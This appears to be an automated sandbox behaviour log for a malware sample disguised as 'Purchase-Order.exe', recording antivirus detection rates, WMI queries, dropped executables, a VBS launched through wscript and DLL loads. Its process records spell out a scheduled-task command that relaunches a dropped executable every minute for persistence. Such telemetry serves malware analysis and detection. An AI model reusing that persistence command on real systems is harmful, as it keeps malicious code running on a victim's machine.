Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'

Source: C:\Users\user\Desktop\Purchase-Order.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Purchase-Order.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Purchase-Order.exe	Virustotal: Detection: 86%
Source: Purchase-Order.exe	ReversingLabs: Detection: 92%

Source: C:\Users\user\Desktop\Purchase-Order.exe

File read: C:\Users\user\Desktop\Purchase-Order.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Purchase-Order.exe "C:\Users\user\Desktop\Purchase-Order.exe"
Source: C:\Users\user\Desktop\Purchase-Order.exe	Process created: C:\Users\user\Desktop\._cache_Purchase-Order.exe "C:\Users\user\Desktop\._cache_Purchase-Order.exe"
Source: C:\Users\user\Desktop\Purchase-Order.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c schtasks /create /tn LMDNDG.exe /tr C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe /sc minute /mo 1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Process created: C:\Windows\SysWOW64\wscript.exe WSCript C:\Users\user\AppData\Local\Temp\LMDNDG.vbs
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn LMDNDG.exe /tr C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe /sc minute /mo 1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe "C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe
Source: unknown	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe "C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe "C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288
Source: C:\Users\user\Desktop\Purchase-Order.exe	Process created: C:\Users\user\Desktop\._cache_Purchase-Order.exe "C:\Users\user\Desktop\._cache_Purchase-Order.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c schtasks /create /tn LMDNDG.exe /tr C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe /sc minute /mo 1	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Process created: C:\Windows\SysWOW64\wscript.exe WSCript C:\Users\user\AppData\Local\Temp\LMDNDG.vbs	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn LMDNDG.exe /tr C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe /sc minute /mo 1

Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: shacct.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: idstore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: wlidprov.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: provsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wininet.dll	Jump to behavior
